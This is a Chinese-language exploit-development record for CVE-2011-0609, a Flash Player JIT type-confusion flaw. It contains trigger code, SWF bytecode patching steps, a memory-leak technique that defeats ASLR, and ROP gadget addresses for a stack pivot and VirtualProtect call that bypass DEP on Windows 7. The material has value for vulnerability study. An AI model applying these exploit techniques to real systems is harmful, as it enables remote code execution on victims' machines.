CVE-2011-0609

CVE-2011-0609漏洞利用记录,WIN7过DEP+ASLR

简介

JIT代码在解析三元运算过程中由于逻辑缺陷造成了对象混淆,具体地说,它可以用同一个属性或者方法生成一个有效字节代码并可以访问两个不同的对象。

调试环境和工具

Windows7_32_CN,
flashplayer10_3r181_14_winax_debug (调试),
Adobe® Flash® Player Installer/Uninstaller 10.1 r82(触发),
Windbg,FlashDevelop,FlashBuilder,Flash解压缩工具,Yogda,010Editor

漏洞触发

漏洞触发代码如下

package
{
    import flash.external.ExternalInterface;
    import flash.utils.*;
    public class SearchJIT
    {

        public  function nice():ByteArray
        {
            return new ByteArray();

        }
        public  function SearchJIT()
        {
            var tttt:ByteArray = (1 == 0) ?nice() : (1 == 0) ? nice() : nice();
            Var tttl:String=new String("AAAAAAAAAAAAAAA......")
            tttl.length;
        }
    }
}

先用FlashDevelop编译然后导出realease版,名为1109.swf的swf格式文件,用flash解压缩工具将1109.swf文件解压为1109_1.swf,然后用Yogda打开,算出构造混淆所要跳过的字节数,经计算,需要将10 06 00 00改成10 11 00 00 如下图所示:

然后用010Editor打开修改10 06为10 11 修改过后如下图所示

这样一个数据混淆的swf文件就生成了,可以看出,获取length属性的代码已经单独成为一个模块了,在获取Sring 的length属性时候,验证机制没有进行严格检测将length属性强制转换成String,从而调用了ByteArray的length属性方法,导致读取数据出错。
用windbg加载出错代码为:

0688afb8 8b4808          mov     ecx,dword ptr [eax+8]
0688afbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8          lea     edx,[ebp-48h]
0688afc4 8945b8          mov     dword ptr [ebp-48h],eax
0688afc7 8b01            mov eax,dword ptr [ecx]  ds:0023:41414141=????????
0688afc9 52              push    edx
0688afca 6a00            push    0
0688afcc 51              push    ecx
0688afcd ffd0            call    eax

dd eax 可以看到String在内存中的数据结构

0:005> dd eax
05f02718  05caa618 40000002 05d84d20 00000000
05f02728  00000162 0000001a 05caa618 00000002
05f02738  05bfc230 00000000 00000004 00000002
05f02748  05caab68 00000002 05eeb080 05dd1ee0
05f02758  05ef6cd1 18000001 05caad58 00000002
05f02768  05efd040 05ef2e38 05f1a220 05e0ff58
05f02778  05caa618 00000003 05be6fd9 00000000
05f02788  00000003 00000012 05caa618 00000003

其中,[eax+8]存放着String字符串的指针,指向字符串存储的内容,[eax+10h]存放着字符串的长度,也就是length属性。

同样的道理,重新构造一个1109_2.swf文件,可以用String的方法来读ByteArray的length属性。代码如下:

package
{
    import flash.display.Sprite;
    import flash.utils.ByteArray;
    import flash.external.ExternalInterface;

    public class Main extends Sprite
    {
       public function bla():ByteArray
       {
           return new ByteArray();
       }
       public function Main()
       {
           var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
           var t:String = new String("AAAAAAAAAAAAAAA......");
           var zz:uint= t.length;
           ExternalInterface.call('alert',zz.toString(16));
       }

    }
}

用ie加载1109_2.swf文件,这次没有报错,而是读出来了一个地址

用Windbg加载,然后 u 5d9dd78

0:007> u 5d9dd78
05d9dd78 f8              clc
05d9dd79 91              xchg    eax,ecx
05d9dd7a b005            mov     al,5
05d9dd7c 0000            add     byte ptr [eax],al

很显然不是我们想要找的flash模块地址。
进行到这一步,再往下边分析,要成功混淆出来一个flash模块地址,首先要清楚ByteArray在内存中存放的数据结构了。

混淆利用分析

装上调试版本的flash:flashplayer10_3r181_14_winax_debug (调试版),然后用FlashBuilder4.0新建AS3项目,代码如下:

然后进行调试,运行到第12行代码以后,看变量窗口

记录ByteArray地址为04be0f41 (flash模块中实际地址为04be0f40),用Windbg加载 dd 04be0f40

0:027> dd 4be0f40
04be0f40  048a40c8 00000003 059ba600 059bf6e8
04be0f50  04be0f58 00000044 048a4008 048a4000
04be0f60  048a4018 048a3ffc 047a9598 05993030
04be0f70  04b75810 05a12fe8 00000000 059c0000
04be0f80  00001000 00000004 00000029 00000000
04be0f90  048a3ff4 00000003 00000000 00000000
04be0fa0  0478d508 00000003 00000002 04be8450
04be0fb0  04c69f94 05a120a0 04c69f40 0000000e

如上图可以看到ByteArray在内存中的数据结构,+0X3C处059c0000为ByteArray数据存放地址指针,指向其存放的内容。00004为length属性,后边00000029(十进制为41)为position属性。
dd 059c0000 可以看到写入的0x41414141

0:027> dd 059c0000
059c0000  41414141 00000000 00000000 00000000
059c0010  00000000 00000000 00000000 00000000

尝试

既然ByteArray在内存中存放的数据结构不变,用String的length方法读不出来flash模块地址,那么是否可以自己构造一个函数,然后与ByteArray混淆呢?
ByteArray在内存中的结构

00000000:  048a40c8 00000003 059ba600 059bf6e8
00000010:  04be0f58 00000044 048a4008 048a4000

由上边可以看出,要获得048a4008(flash模块)这个地址,只需要我们构造一个函数,在相同的位置有一个length属性,然后用构造函数的方法来读取ByteArray的length,就能将想要的地址给读出来,构造函数形式如下

00000000:  ???????? ???????? ???????? ????????
00000010:  ???????? ???????? xxxxxxxx ????????

其中将xxxxxxxx这个地方设置一个length属性即可。
在FlashBuilder新建项目test,在项目中添加一个新的AS类,代码如下:

package Poc
{
    public class People
    {

       public var a :uint = 0x41414141;
       public var b :uint = 0x41414142
       // public  var length :uint = 0x41414143;
       public var c :uint = 0x41414144
       public var d :uint = 0x41414145;
       public var e :uint = 0x41414146;
       public var f :uint = 0x41414147;
       public var g :uint = 0x41414148;
       public var h :uint = 0x41414149;
       public var i :uint = 0x4141414a;
       public var j :uint = 0x4141414b;
       public var k :uint = 0x4141414c;
       public var l :uint = 0x4141414d;
       public var m :uint = 0x4141414e;
       public var n :uint = 0x4141414f;

       public function People()
       {
           //
       }
    }
}

然后在主程序中调用这个类,代码如下:

进入调试模式,运行到第19行代码时,数据窗口显示出新定义的People地址

然后用windbg加载IE,dd 59ad040 查看自定义类在内存中的数据结构

0:023> dd 59ad040
059ad040  04a05050 00000003 05957fb8 059ab1f0
059ad050  41414141 41414142 41414143 41414144
059ad060  41414145 41414147 41414148 41414149
059ad070  4141414a 4141414b 4141414c 4141414d
059ad080  4141414e 4141414f 059ad0d0 00000000
059ad090  00000000 00000000 00000000 00000000
059ad0a0  00000000 00000000 00000000 00000000
059ad0b0  00000000 00000000 00000000 00000000

由上图可以看出,我们只需要将41414143的变量名c改为length,然后我们用我们构造的函数读取length的方法去读ByteArray的length,就可以读出来flash模块地址了。
将People类中注释去掉即可,然后到导出发行版本,用和前边同样的方法构造混淆的swf文件,将flash版本换成Adobe® Flash® Player Installer/Uninstaller 10.1 r82,载于ie中运行,读出地址

用windbg加载IE,然后u 5b091f8

0:029> u 5b091f8
Flash10i!DllUnregisterServer+0x329825:
05b091f8 868e82050d81    xchg    cl,byte ptr [esi-7EF2FA7Eh]
05b091fe 8205ca7c8205fc add byte ptr [Flash10i!DllUnregisterServer+0x482f7 (05827cca)],0FCh

成功读出了flash模块地址。

任意读地址

通过这种方法,基本可以实现读ByteArray中任意地址了,将上边的People类改成如下代码:

package Poc
{
    public class People
    {     
       public var a :uint = 0x41414141;
       public var b :uint = 0x41414142;
       public var c :uint = 0x41414143; //
       public var d :uint = 0x41414144;
       public var e :uint = 0x41414145;
       public var f :uint = 0x41414146;
       public var g :uint = 0x41414147; //
       public var h :uint = 0x41414148;
       public var i :uint = 0x41414149;
       public var j :uint = 0x4141414a;
       public var k :uint = 0x4141414b;
       public var l :uint = 0x4141414c;
       public var m :uint = 0x4141414d;
       public var n :uint = 0x4141414e;
       public var ...
       public var ...

       public function People()
       {

       }
    }
}

编译进入调试模式,然后windbg加载Ie查看People类在内存中的数据结构,如下所示

0:021> dd 45d3080
045d3080  687d5050 00000003 0460a868 045f0550
045d3090  41414141 41414142 41414143 41414144
045d30a0  41414145 41414147 41414148 41414149
045d30b0  4141414a 4141414b 4141414c 4141414d
045d30c0  4141414e 4141414f 41414141 41414142
045d30d0  41414143 41414144 41414145 41414147
045d30e0  41414148 41414149 4141414a 4141414b
045d30f0  4141414c 4141414d 4141414e 4141414f

从偏移10h处开始,填充着我们构造的参数,只要我们在ByteArray偏移10h以后能找到任意一个flash模块地址,都可以通过构造函数混淆出来。
同理,在String结构中也存在很多的Flash模块地址,也可以用同样的方法去读String中的flash模块地址,用同样的方法都能够读出来,已测试成功。

Realease & Debug

实际应用中,自己构造的函数数据结构在realease版本和debug版本中略有差别

任意读地址的坑

通过上边的分析,我们构造一个People类,下边为利用测试代码

package
{
    import Poc.*;

    import flash.display.Sprite;
    import flash.external.ExternalInterface;
    import flash.utils.ByteArray;

    public class test extends Sprite
    {
       public function people():People
       {
           return new People;
       }
       public function b():ByteArray
       {
           var ba:ByteArray = new ByteArray;
           ba.writeUnsignedInt(0x41424344);
           ba.writeUnsignedInt(0x45464748);
           return ba;
           //ExternalInterface.call('alert',0x41414141.toString(16));
       }

       public function test()
       {
           var a:People = (1 == 0) ? people() : (1 == 0) ? people() : people();
           //var al:uint = a.length;
           var t:ByteArray = b();
           var zz:uint= t.length;
           ExternalInterface.call('alert',zz.toString(16));

       }
    }
}

调试版本中,windbg看People在内存中数据结构如下:

0:023> dd 58c1060
058c1060  04665050 00000003 058f8868 058c0b98
058c1070  41414141 41414142 41414143 41414144
058c1080  41414145 41414146 41414147 41414148
058c1090  41414149 4141414a 4141414b 4141414c
058c10a0  4141414d 4141414e 4141414f 00000000
058c10b0  058c1100 00000000 00000000 00000000
058c10c0  00000000 00000000 00000000 00000000
058c10d0  00000000 00000000 00000000 00000000

也就是说我们在数值为4141414c处的参数设置为length即可通过混淆或得ByteArray地址。
然后我们导出release版的swf文件,修改,载入ie,弹出的地址为:

Windbg加载,dd 5d091ec

0:033> dd 5d091ec
05d091ec  05a28590 05a27cfd 05a27edd 05a28e86
05d091fc  05a2810d 05a27cca fffffffc 0000000c
05d0920c  fffffffc 00000014 00000000 05a28ea2
05d0921c  05a251f3 05c20770 05c20e50 05c20ee0
05d0922c  05a27f3b 05c20140 05a288ec 05c1ff80
05d0923c  05a27d30 05c1ff40 05c203e0 05a27fa8
05d0924c  05a2894d 05c20470 05a27ff2 05a27d0d
05d0925c  05a288cd 05c1ffc0 05c20650 05c207a0

很明显,并不是我们写进去的0x41424344,0x45464748.也就是说,我们读出来的并不是想得到的ByteArray地址!

填坑-任意读地址

我们构造的类在内存中数据结构是什么样子呢,我们在windbg搜一下我们构造函数的数据

s 0 l?7fffffff 41 41 41 46 41 41 41 47
061b2425  41 41 41 46 41 41 41 47-41 41 41 48 41 41 41 49  AAAFAAAGAAAHAAAI

我们看下内存061b2425附近的数据

如上图所示,构造函数的数据存放在061b2415-061b2451并不是按照顺序存放的。
我们读出来的地址是什么?

s 0 l?7fffffff ec 91 d0 05
020bc908  ec 91 d0 05 80 c9 0b 02-68 18 33 06 00 80 24 06  ........h.3...$.
05a28843  ec 91 d0 05 8b 40 04 c7-44 30 20 e4 91 d0 05 8b  .....@..D0 .....
0623dd9c  ec 91 d0 05 04 92 d0 05-08 00 00 00 00 00 00 00  ................

查看0623dd9c附近的数据

在05d091ec附近找到了06bbd000地址,形似ByteArray地址

上图表示,正是我们在ByteArray写入的数据,即06bbd000为ByteArray地址。

所以,我们看我们所读的地址-14h处即为ByteArray地址,对照着我们构造函数的数据,4141414c处所在的地址-14h处对应的数据为41414147,因此,将我们构造函数数据为41414147赋设为length即可。
将构造函数代码改为如下:

通过修改,成功混淆出ByteArray地址。

按照偏移得出自定义函数在release版本中数据结构。

06de6ffd b006def0 d006de70 0006de71 00000000
06de700d 02000000 00009000 00000000 30000000
06de701d 4606abdb 41004f00 42414141 43414141
06de702d 44414141 45414141 46414141 47414141
06de703d 48414141 49414141 4a414141 4b414141
06de704d 4c414141 4d414141 4e414141 4f414141
06de705d 41414141 42414142 43414142 44414142
06de706d 45414142 46414142 47414142 48414142
06de707d 49414142 4a414142 4b414142 4c414142
06de708d 4d414142 4e414142 4f414142 44414142
06de709d 48414243 70454647 6e006100 4e007900
06de70ad 00006100 73000000 2f737265 4c4c4544

在release版本中,如上图我们可控制的数据,我们能够读取的地址只能是从偏移28h处开始。

对照ByteArray结构

同时也证实了前边我们读取的41414143位置也并不是ByteArray数据结构中偏移18h处的地址,而是偏移2ch处的地址,而这个偏移处也刚好是一个flash模块地址!

总结

需要注意的是,在构造函数中定义的参数值一定不能重复,不然release版本会进行优化,数据个数会减少。

经过多次尝试,在realease版本中我们构造的函数数据在内存中存放的地址是连续的,但是数据存放顺序会被打乱,ByteArray在realease版本中数据结构并没有改变,因此,我们依然可以用这种方法读取任意想得到的地址。

完整的漏洞利用

要成功利用这个漏洞,要清楚以下三个问题
1.如何控制程序流程
2.如何过ASRL和DEP
3.如何执行shellcode

控制流程

控制程序流程比较容易想到,通过出发漏洞的源码和异常出错的汇编代码,可以看出,只要在String适当的偏移处将AAAA改为我们想控制的地址,就可以控制程序的流程了。
触发漏洞代码

异常汇编代码

如上图所示,[eax+8]存放着String字符串的内容地址,即[ecx+0A0h]=String[0A0h](写法仅方便阅读),也就是说我们在String[0A0h]处存放着我们想要控制的地址指针,然后在下边的call eax之后就进入我们的控制之中了。

突破DEP+ASLR

通过上次混淆出来的flash模块地址,可以轻松绕过ASRL;
突破DEP的法是通过构造一个ROP链来实现,这个也是该漏洞利用的一个难点,代码的编写花费的时间最多,需要一些技巧和运气。

执行shellcode

如何执行shellcode,首先我们将shellcode写入内存是不可执行的,因此我们要调用virtualprotect函数将地址改为可执行属性,virtualprotect函数可以通过flash模块地址和偏移地址定位。

完整的利用过程

1.首先我们先定义一个ByteArray,然后将shellcode写进去,然后通过混淆得到ByteArray的地址,也就是shellcode的地址ScAddr。

2.然后我们构造Rop链,Rop链需要完成的功能有三个,先是控制esp,然后是通过调用virtualprotect函数将shellcode代码段内存改为可执行属性,最后要实现的功能是跳入shellcode。通过混淆得到Rop链地址RopAddr。

3.最后,我们将Rop链的地址ScAddr写在String[0A0h]处,通过混淆出发漏洞,然后得到控制权,去实现Rop链中的功能,最后成功执行shellcode。

4.在整个过程中,在往ByteArray中写数据时候要注意大小字节序,Flash默认是大字节序列。

控制esp

在Rop链的一开始,肯定是要先得到esp的控制权,需要我们在flash模块里边找到一条xchg eax,esp;ret代码。代码很容易找到,但是发现即使执行了依然控制不了esp,原因是我们在控制流程的语句call eax时候,eax的值已经不是Rop链的地址了,而是Rop链中我们得到esp控制权的代码的地址,形似[RopAddr],也就是说,我们执行完xchg eax,esp;ret代码之后,就失去了程序的控制权,这个问题也困扰了好久。

我们再回过头来看控制代码

0688afb8 8b4808          mov     ecx,dword ptr [eax+8]
0688afbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8          lea     edx,[ebp-48h]
0688afc4 8945b8          mov     dword ptr [ebp-48h],eax
0688afc7 8b01            mov     eax,dword ptr [ecx]  ds:0023:41414141=????????
0688afc9 52              push    edx
0688afca 6a00            push    0
0688afcc 51              push    ecx
0688afcd ffd0            call    eax  //获得控制权

我们发现,程序获得控制权是先将RopAddr的传送给ecx,然后将[ecx]赋值给eax,然后才是我们控制esp的代码call eax,因此,ecx始终等于RopAddr,既然eax不能用,完全可以用xchg ecx,esp;ret

接着分析,只执行xchg ecx,esp;ret还是不够的,我们要执行下一条代码,需要在xchg ecx,esp之后将esp+4,然后是ret才能成功跳进吓一跳代码中。在flash模块中并没有找到理想的代码形如

xchg ecxesp
add esp,xx
ret

既然xchg指令不能用,换个方式,形如

mov especx
add esp,xx
ret

或者

push ecx
pop esp
add esp,xx
ret

最后,在flash模块中找到如下可用代码:

057d5fe1 51              push    ecx
057d5fe2 5c              pop     esp
057d5fe3 8b889c000000    mov     ecx,dword ptr [eax+9Ch]
057d5fe9 52              push    edx
057d5fea 51              push    ecx
057d5feb e860c2fcff      call    Flash10i+0xb2250 (057a2250) //不影响esp
057d5ff0 83c410          add     esp,10h
057d5ff3 c3              ret

通过flash模块地址和偏移,算得代码地址,记作 add_xchg_ecx_esp

修改内存属性

在控制esp之后,就开始实现virtualprotect函数的功能,将我们的shellcode所在的内存属性变为可执行。通过ida加载flash10i.oxc得到virtualprotect函数偏移,再根据flash模块地址算出virtualprotect函数地址Add_virtualprotect。Vritualprotect函数代码如下:

683ecee2 51              push    ecx
683ecee3 55              push    ebp
683ecee4 56              push    esi
683ecee5 57              push    edi
683ecee6 ff157c534b68    call    dword ptr [Flash10i!DllUnregisterServer+0x3059a9 (684b537c)] //call virtualprotect
683eceec 03fe            add     edi,esi
683eceee 2bde            sub     ebx,esi
683ecef0 7404            je      Flash10i!DllUnregisterServer+0x23d523 (683ecef6)
683ecef2 85c0            test    eax,eax
683ecef4 75d0            jne     Flash10i!DllUnregisterServer+0x23d4f3 (683ecec6)
683ecef6 5f              pop     edi
683ecef7 5e              pop     esi
683ecef8 5d              pop     ebp
683ecef9 5b              pop     ebx
683ecefa 83c420          add     esp,20h
683ecefd c3              ret

通过代码可以看出,在调用函数成功后,eax肯定为非0,那么程序在执行test eax,eax之后肯定就跳走失去了控制权。

解决方法:我们直接跳入virtualprotect函数去实现我们的功能,然后构造我们的返回地址和参数,而不是通过call来调用,因此,我们在这一步先将virtualprotect函数地址放入[esp+4],在esp处我们存放形如下代码的地址,

mov eax,[esp+4]
add esp,xx   //跳过virtualprotect函数地址
ret

然后ret之后esp存放着jmp [eax]地址([eax]形似[684b537c],684b537c为上边Vritualprotect函数代码部分),然后就可以顺利的执行了,最后分别在flash模块中找到可用代码。

地址Add_mov_eax_esp

05771008 8b0424          mov     eax,dword ptr [esp]
0577100b 59              pop     ecx
0577100c c3              ret

地址Add_jmp_eax

56f768f ff20            jmp     dword ptr [eax]

当然,解决这个问题方法不止一种,可以在这之前重新设置标志位,这样test eax,eax之前让它跳走就可以了。

综上,构造的Rop链结构如下所示:

执行shellcode

通过上边的分析,利用构造的Rop链就可以顺利执行shellcode了,如弹出计算器。